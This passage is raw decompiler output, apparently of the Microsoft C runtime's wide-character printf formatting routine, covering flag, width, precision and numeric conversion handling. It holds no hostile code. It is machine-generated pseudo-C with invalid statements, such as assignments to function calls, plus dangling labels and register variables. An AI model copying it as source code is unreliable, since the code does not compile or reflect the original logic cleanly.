								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CB80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043CBC0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043CB80(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043CBC0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041AEE0(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041AEE0(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B620(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043CB20( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043CB80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C5D0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043CA14))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043CB20( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43ca4c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA34))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43ca74; // 0xc2819003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA60))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43cae0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CAA4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E004283F0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B950( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xab8ad97d
																					E00424750(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0x2b8ac62f
																							E00424750(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0x2b8ac616
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
